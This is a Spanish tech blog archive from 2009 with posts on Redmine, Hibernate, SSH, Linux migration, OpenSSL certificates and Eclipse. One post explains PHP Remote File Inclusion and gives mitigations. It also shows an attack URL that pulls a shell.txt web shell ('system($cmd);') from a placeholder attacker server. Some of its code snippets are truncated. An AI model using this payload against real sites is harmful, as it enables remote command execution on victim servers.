jueves 8 de octubre de 2009

Error al arrancar mongrel en redmine

Hola, redmine es un administrador de proyectos y tareas open source, escrito en ruby onrail's, implementa mongrel.
Mongrel es un servidor HTTP para aplicaciones escritas en Ruby cuya principal característica es la velocidad, por defecto redmine utiliza dos procesos mongrel para el servicio http, pudiendo agregar otros process id mongrel para mejorar el rendimiento de la aplicación.

algunas veces cuando queremos arrancar redmine por consola ocurre lo siguiente:

slack@zion:~/programas/redmine-0.8.1-2$ ./ctlscript.sh start
nohup: redirecting stderr to stdout
Starting mysqld.bin daemon with databases from /home/slack/programas/redmine-0.8.1-2/mysql/data
/home/slack/programas/redmine-0.8.1-2/mysql/scripts/ctl.sh : mysql started at port 3307
starting port 3001
** !!! PID file tmp/pids/mongrel.3001.pid already exists. Mongrel could be running already. Check your log/mongrel.3001.log for errors. ** !!! Exiting with error. You must stop mongrel and clear the .pid before I'll attempt a start.

starting port 3002
** !!! PID file tmp/pids/mongrel.3002.pid already exists. Mongrel could be running already. Check your log/mongrel.3002.log for errors. ** !!! Exiting with error. You must stop mongrel and clear the .pid before I'll attempt a start.
Syntax OK
/home/slack/programas/redmine-0.8.1-2/apache2/scripts/ctl.sh : httpd started at port 8080
/home/slack/programas/redmine-0.8.1-2/subversion/scripts/ctl.sh : subversion started at port 3690

El log nos indica que el servicio mongrel no pudo arrancar porque ya existen pids corriendo para este servicio, sin embargo redmine esta abajo. para solucionar este problema debemos asegurarnos que los servicios utilizados esten abajo, para lo cual bajamos en modo comando redmine y sus servicios, como se indica:

slack@zion:~/programas/redmine-0.8.1-2$ ./ctlscript.sh stop
/home/slack/programas/redmine-0.8.1-2/subversion/scripts/ctl.sh : subversion stopped
Syntax OK
/home/slack/programas/redmine-0.8.1-2/apache2/scripts/ctl.sh : httpd stopped
already stopped port 3001
already stopped port 3002
/home/slack/programas/redmine-0.8.1-2/mysql/scripts/ctl.sh : mysql stopped

Ahora debemos eliminar los pids relacionados al error anterior, debemos ir a la siguiente ruta, ejecutar el comando ls, para listar los pids que debemos eliminar:

slack@zion:~/programas/redmine-0.8.1-2/apps/redmine/tmp/pids$ ls
mongrel.3001.pid mongrel.3002.pid

slack@zion:~/programas/redmine-0.8.1-2/apps/redmine/tmp/pids$ rm *.*

Ahora volvemos a arrancar Redmine, con comandos y vemos que el log ya no nos impide levantar correctamente los servicios.

slack@zion:~/programas/redmine-0.8.1-2$ ./ctlscript.sh start
nohup: redirecting stderr to stdout
Starting mysqld.bin daemon with databases from /home/slack/programas/redmine-0.8.1-2/mysql/data
/home/slack/programas/redmine-0.8.1-2/mysql/scripts/ctl.sh : mysql started at port 3307
starting port 3001
starting port 3002
Syntax OK
/home/slack/programas/redmine-0.8.1-2/apache2/scripts/ctl.sh : httpd started at port 8080
/home/slack/programas/redmine-0.8.1-2/subversion/scripts/ctl.sh : subversion started at port 3690

Ingresamos por el browser, http://localhost:8089/redmine (en mi caso lo tengo configurado en el puerto 8089)

nos debe despliegar una pagina similar a la siguiente,




Saludos y suerte !!

lunes 28 de septiembre de 2009

Hibernate y sessionFactory

En este ejemplo se muestra como trabajar con hibernate y session, para el metodo save

Código 1:

import org.hibernate.Session;
import org.hibernate.SessionFactory;
import org.hibernate.Transaction;
import org.springframework.orm.hibernate3.HibernateTemplate;

public void saveAccounting(Accounting accounting){
// Obtenemos el sessionFactory que nos aportará la session y hibernateTemplate
SessionFactory sessionFactory = getSessionFactory();
// Obtenemos la session para iniciar la transaccion
Session session = sessionFactory.openSession();
// Obtenemos el HibernateTemplate que nos aportará
// las funcionalidades para comunicarnos con la BD
HibernateTemplate hibernateTemplate = new HibernateTemplate(sessionFactory);
// Iniciamos la transacción
Transaction transaccion = session.beginTransaction();
try {
getHibernateTemplate().save(accounting);
// Hacemos el commit de la transación
transaccion.commit();
session.close();
} catch (Exception e) {
transaccion.rollback();
e.printStackTrace();
}
}

Código 2:

public void saveAccounting(Accounting accounting){
getHibernateTemplate().save(accounting);
getHibernateTemplate().flush();
}

Espero que les sirva, saludos !!

miércoles 23 de septiembre de 2009

Instalar SSH en Linux

apt (herramienta de administración de paquetes)

apt-get install ssh

Algunos comandos:

ssh root@ip-maquina:/path del directorio

Facil y bonito , use open source !!

Saludos

martes 2 de junio de 2009

Remote File Inclusion (RFI)

RFI (Remote File Inclusion), es Inclusión Remota de Archivos - vulnerabilidad existente solamente en páginas dinámicas en PHP que permite el enlace de archivos remotos situados en otros servidores a causa de una mala programación de la página que contiene la función include(). jajajajja

Este tipo de vulnerabilidad no se da en páginas programadas en ASP o en cualquier otro tipo de lenguaje similar que no contenga la posibilidad de la inclusión remota de archivos ajenos al servidor.

Resumen del ataque

Las funciones include, include_once, require, require_once son utilizadas para incluir en una misma página otras páginas a la vez, por la necesidad de utilizar un código fuente o por otras diversas razones de programación.

Este es un tipo de una página vulnerable, donde a traves de la url se invoka de mala forma a otra página:

http://[servidor_victima]/index.php?page=plantilla.html


El atacante podrá obtener una Shell en el servidor vulnerable mediante lo siguiente:

http://[servidor_victima]/index.php?page=http://[servidor_atacante]/shell.txt&&cmd=ls

Pudiendo contener el archivo shell.txt cualquier código, por ejemplo:

system($cmd);
?>

El archivo debe tener una extensión distinta a cualquier otra que se pueda ejecutar en el servidor del atacante (.txt,.gif, etc), una extensión ".php" no sería válida, ya que en el servidor víctima al incluir el fichero con extensión.php se estaría ejecutando antes el código php en el servidor del atacante; recordemos que el código php se ejecuta en el servidor y el usuario solo puede ver el resultado, es por esto que el código del script malicioso debe ir con una extensión distinta, ya que la función include, require, require_once, include_once ejecutaría el código php contenido en el fichero que se pasa como parámetro a la función, sin importar la extensión que tenga.

Lo que la víctima incluye en su página son secciones que se pasan a la variable page según el ejemplo anterior

include_once($page)
?>


Detener el ataque

Para detener este tipo de ataques, el programador debe filtrar correctamente la variable ejemplo:

if ($url=="seccion")
include ($url.".php");
?>

ó

include ("./".$url.".php");
?>

ó

switch($url) {
case 0:include ("./contenidos/estapagina.php"); break;
case 1:include ("./contenidos/estaotra.php"); break;
default: include("./contenidos/error.php"); break;
}
?>

ó

$url = intval($_GET['url']); //$url solo contendrá un valor entero.
$pagina = "./contenidos/cont".$url.".php";
if (file_exists($pagina))
include($pagina);
?>

Prevenir el Ataque


Para prevenir este tipo de ataques, es posible utilizar o bien el indicador "./" para advertir que el archivo debe encontrarse en el directorio actual u otro indicador tal como "includes/". Ejemplo:


?>

De esta forma no podría utilizar la variable page para RFI.


Otra solución más avanzada es aplicar una validación de la variable enviada como parámetro, descartando la inclusión de archivos remotos no deseados.


die('Error. intento de RFI..');
else
include ($url);
?>

Con este código evitas este tipo de ataques, que son fáciles de solucionar pero que muchos programadores no se dan cuenta o no dan importancia.

Por esto y muchas cosas más en mejor Java.

Saludos y suerte !!

lunes 25 de mayo de 2009

Migrando a Linux

Una de las cosas más frustrantes para un usuario de Linux es escuchar las quejas de aquellas personas que se han aventurado (o que han sido obligados) a migrar a Linux sin la correcta asesoría. El día a día no da tiempo a la mayoría de personas para aprender por si mismas todas las cosas diferentes que tiene Linux. Por esta razón yo considero que es necesario tener una guía, preferiblemente alguien que ya maneje el sistema y que nos pueda ayudar.
Esta Guía va dirigida a aquellos lectores de este blog que ya usan Linux y que son bombardeados por sus amigos con preguntas (y quejas) acerca de la migración. El tema de hoy:


5 temas a abordar antes de probar Linux



  1. Hay que analizar las ventajas de Linux. El nuevo usuario generalmente esta convencido de que Linux es experimental o ineficiente. Para generar una mayor motivación en el potencial usuario solamente debes mostrarle varias cosas que hacen a este sistema una alternativa para su trabajo cotidiano. En mi experiencia se puede motivar a un usuario potencial con los siguientes datos: Primero: En Linux no hay virus, Segundo: Hay varias formas de usar los programas de Windows en Linux (conozco muchos usuarios que han vuelto a windows porque no conocieron el Wine), Tercero: Hay muchos programas, faciles de instalar que satisfacerán sus necesidades, Cuarto: hay asistencia en linea 24 horas en los canales IRC y las listas de correo, usuarios por todo el mundo conectados ayudando a hacer mejor el software. Quinto: "Linux es sobre experimentar" Debes explicarle al nuevo usuario que al contrario del software propietario, en Linux hay millones de opciones y que con el tiempo el escogerá las que mas le gusten. Sexto: Es clave explicar la filosofía del Software Libre, las ventajas que usar S.O. representan y las diferencias con los programas propietarios.

  2. Linux es diferente. En mi opinión es mas fácil de manejar que Windows y MacOS, pero es completamente diferente y esto es uno de los aspectos fundamentales de la deserción temprana en el aprendizaje de un nuevo sistema operativo (Muchas de las quejas a Vista estaban relacionadas con este tema). Esto quiere decir que el proceso de migración llevará un tiempo y requiere cierta paciencia, dependiendo de las habilidades informáticas del aprendiz, las motivaciones en el proceso y el grado de compromiso: Es muy importante explicarle al nuevo usuario que este proceso va a tomar cierto tiempo y que cada día se sentira mejor sabiendo que linux da seguridad, estabilidad y confianza.

  3. Hay que probar de todo. Una buena herramienta para esto son los LiveCD. De esta manera el aprendiz de Linux puede probar muchas distribuciones antes de decidirse por una, igual que con los entornos de escritorio. Explicar la existencia de tantas distribuciones puede ser díficil y si a eso añades los entornos de escritorio, aun más. (Yo antes pensaba que solo existía Windows) Es bueno que el nuevo usuario mire, pruebe y se convenza de todas las herramientas. Yo se que muchos tenemos una distro favorita, pero aveces perdemos usuarios por forzarlos en nuestros propios gustos.

  4. Es importante saber que no debe desinstalar Windows para experimentar con Linux, perfectamente pueden ambos sistemas existir en una maquina, ya sea en participones distinmtas boteandoa al principio una elección o en una maquina virtual como VirtualBox de Sun u otra.

  5. Es muy importante explicarle al nuevo usuario la razón por la cual algunas piezas de hardware solamente funcionan con Windows y verificar que todos sus dispositivos funcionan sin problemas. Para un usuario novato es muy complicado instalar los drivers de una tarjeta NVIDIA, o un controlador de video o la conexión del firewire con la cámara, la wifi, etc. Muchas comunidades OpenSource hacen FERIAS DE INSTALACIÓN donde configuran equipos para que funcionen correctamente y ayudan a la gente que se esta iniciando en este fantastico mundo, ademas de existir un millon de documentacion por la web.

Aunque parecen 5 amenazas o ideas para internalizar, es mejor saber de antemano estas cosas y ponerse a investigar, al final los dispositivos siempre funcionaran mejor q en el ventanukos.



Perder el miedo:

A diferencia de las instalaciones de Sistemas Operativos (S.O.) propietarios como windows, la idea con Linux es que el usuario es libre de instalar y desinstalar el sistema cuantas veces quiera, probar nuevas distribuciones e inclusive tener en la misma maquina Windows. En otros S.O. una nueva instalación generalmente implica la perdida de la información, de programas instalados e inclusive de algunas licencias particulares asociadas a esta instalación. En Linux, formatear es algo sin muchas complicaciones, por esta razón: NO TENGAS MIEDO DE DAÑAR ALGO EN EL SISTEMA.

Para formatear simplemente hay que quemar en un cd/dvd la carpeta personal (aquella que contiene las carpetas /documentos, /videos, / imagenes, etc.) y al comlpetar de nuevo la instalación volver a ponerla en su lugar.

Entonces: ¿Ya viste donde esta la opción de agregar y quitar programas?, instala todo lo que quieras. ¿Quieres experimentar instalando todos los tipos de escritorio disponibles? Hazlo!!!
¿Quieres probar complicados procedimientos que haz encontrado en blogs y foros? Intentalo.
Linux se trata de aprender y "Echando a perder se aprende", trabajando de esta forma no tardaras en tomarle el gusto a linux, la consola, investigar, etc. Te aconsejo ademas que las tareas repetitivas las documentes con el fin de que no vuelvas a invetigar lo ya hecho



Los decálogos, las familias y la comunidad:

En muchos "decálogos" del usuario encontraras que se considera moralmente necesario que pertenezcas a alguna comunidad Linux, colabores y "pongas tu granito de arena". Aunque muchos lo hacemos y es muy recomendable participar, no es una obligación moral. No debes ir a ninguna reunión si no quieres, no debes dar soporte técnico si no quieres y sobretodo no tienes que parecer vendedor de multinivel hablándole a todos tus amigos de Linux si no quieres. Aunque es muy divertido hacer estas cosas y algunas personas te digan que de eso depende el crecimiento del software libre, el simple hecho de usar Linux ya marca una diferencia. De la misma manera, si te quieres pasar a Linux solo porque el sistema funciona mejor que Windows y no por una elección política, esto también es bueno. EL SOFTWARE LIBRE NO SE TRATA DE UNA LUCHA EN CONTRA DE LAS GRANDES EMPRESAS DE SOFTWARE, O DE PERTENECER A UNA COMUNIDAD ESPECIAL. Se trata de tener el control de tu computador y hacer con el lo que quieras sin que esto este regulado por un contrato. Esto es algo que muchos usuarios solo entienden después de un tiempo de pertenecer a alguna comunidad.

Usar Linux no implica usar solamente software libre.


Te sorprenderás cuando encuentres programas de Linux que cuestan dinero, pero existen, inclusive la mayoría de empresas que producen distribuciones de Linux tienen versiones corporativas que están a la venta. Es muy importante que sepas que hay distribuciones que no te permitirán ver contenido en flash (esto incluye sitios de video en formato flv, como youtube), que no reproducen MP3 o videos AVI, MOV o en algunos formatos de DVD. Esto sucede porque los diseñadores del sistema no quieren usar los software privativo dentro de su distribución y formatos como el MP3 no son abiertos. Esta es una decisión política basada en un proceso de mas de 20 años que se ha dado desde la creación de la GPL. Algunas distribuciones, como UBUNTU, dan la opción al usuario de instalar o no contenidos privativos, transfiriendo la decisión al usuario final: USTED.
Si después de escuchar al elocuente Richard Stallman hablar sobre Software libre quieres usar solamente programas libres (e inclusive hacer la sutileza de diferenciar entre código abierto y software libre), es tu decisión. (hay varios videos de stallman en este blog) Es una de las cosas que a mi parecer son mas bonitas de Linux, encontraras distribuciones completamente privativas, que se venden en cajas como cualquier Windows, encontraras proyectos de código abierto como UBUNTU, que te permiten muchas cosas con paquetes privativos y existen distribuciones como Debian Linux que vienen libres de software propietario y la unica distribución 100% Open Source, y una de las mas seguras estables y rapidas.

Para escoger la distro que mas te guste puedes ir a: http://distrowatch.com/ donde podrás escoger entre varios centenares de distribuciones la que mas te guste de acuerdo a tus necesidades, tus gustos e inclusive tus inclinaciones políticas.

lunes 13 de abril de 2009

Generar Certificado PFX en Linux

Hola, hoy en día la gestión documental cumple un papel importante en las empresas que gestionan gran cantidad de documentos, sean contratos , facturas, ordenes de compra, etc.

Debido a que se han establecidos leyes que promueven la firma digital de documentos, muchas empresas además requieren que sus sistemas de gestión documental, workflow, bpm, etc. cuenten con la característica de poder firmar estos documentos digitalmente.

En Linux y con OpenSSL podemos generar los certificados necesarios para poder firmar los documentos, utilizando las apis de java que proveen esta característica, como las lib's de itext.

Vamos a ver a continuación como generamos estos certificados, utilizando el estándar x509 y el tipo pkcs12.

paso 1:

vamos a la consola y generamos con la siguiente linea de comandos los certificados pem.

slack@zion:~$ openssl req -x509 -nodes -days 365 -newkey rsa:1024 -keyout certuno.pem -out certuno.pem
Generating a 1024 bit RSA private key
.........................................++++++
...............................++++++
unable to write 'random state'
writing new private key to 'certuno.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:CL
State or Province Name (full name) [Some-State]:Region Metropolitana
Locality Name (eg, city) []:Santiago
Organization Name (eg, company) [Internet Widgits Pty Ltd]:0X Chile
Organizational Unit Name (eg, section) []:BPS
Common Name (eg, YOUR name) []:Jorge Salomon
Email Address []:jorgeleonardo.salomon@0x.com

luego debemos importar este certificado pem a formato pfx, el estandar para firmar documentos, para esto debemos imgresar clave al certificado.

paso 2:

slack@zion:~$ openssl pkcs12 -export -out certuno.pfx -in certuno.pem -name "certificado uno"
Enter Export Password:
Verifying - Enter Export Password:

Luego de estos dos pasos, utilizando OpenSSL, podemos utilizar este certificado pfx en cualquier aplicación web para firmar documentos, en mi caso desarrolle una aplicación J2ee que hace esta implementación.

Saludos y Suerte !!

Error al arrancar Eclipse

Hola, en algunos casos el sistema operativo se marea con la jvm que ocupa, esto generalmente ocurre cuando hacemos alguna actualización de algún paquete con el gestor o comando alternatives.
Y cuando queremos arrancar eclipse desde el lanzador del escritorio, simplemente no lo abre. y comenzamos con cuestionamientos... jajajaj..., en este caso lo logico es que queramos abrirlo por consola con el comando

slack@zion:programas/eclipse$ ./eclipse
LOG: [0xb7eb66b0] exception thrown while VM is initializing:
LOG: [0xb7eb66b0] NULL: java.lang.Object
LOG: [0xb7eb66b0] Aborting...
Aborted

desplegando el mensaje de error que se ve, lo bueno de esto es que existe una rapida solución.

En la misma consola ejecutamos el siguiente comando para comprobar las jvm disponibles para usar en el sistema,

slack@zion:~/programas/eclipse$ sudo update-alternatives --config java
[sudo] password for slack:

Hay 2 alternativas que proveen `java'.

Selección Alternativa
-----------------------------------------------
1 /usr/lib/jvm/java-1.5.0-sun/jre/bin/java
*+ 2 /usr/lib/jvm/java-6-cacao/jre/bin/java

Pulse para mantener el valor por omisión [*] o pulse un número de selección: 1
Se utiliza `/usr/lib/jvm/java-1.5.0-sun/jre/bin/java' para proporcionar `java'.

Luego comprobamos que la opcion seleccinada sea la que tome el sistema como version de uso para java.

slack@zion:~/programas/eclipse$ java -version
java version "1.5.0_16"
Java(TM) 2 Runtime Environment, Standard Edition (build 1.5.0_16-b02)
Java HotSpot(TM) Server VM (build 1.5.0_16-b02, mixed mode)


Con esto debieramos tener solucionado el tema de incompatibilidad de jvm con eclipse, al menos.

Saludos y Suerte !!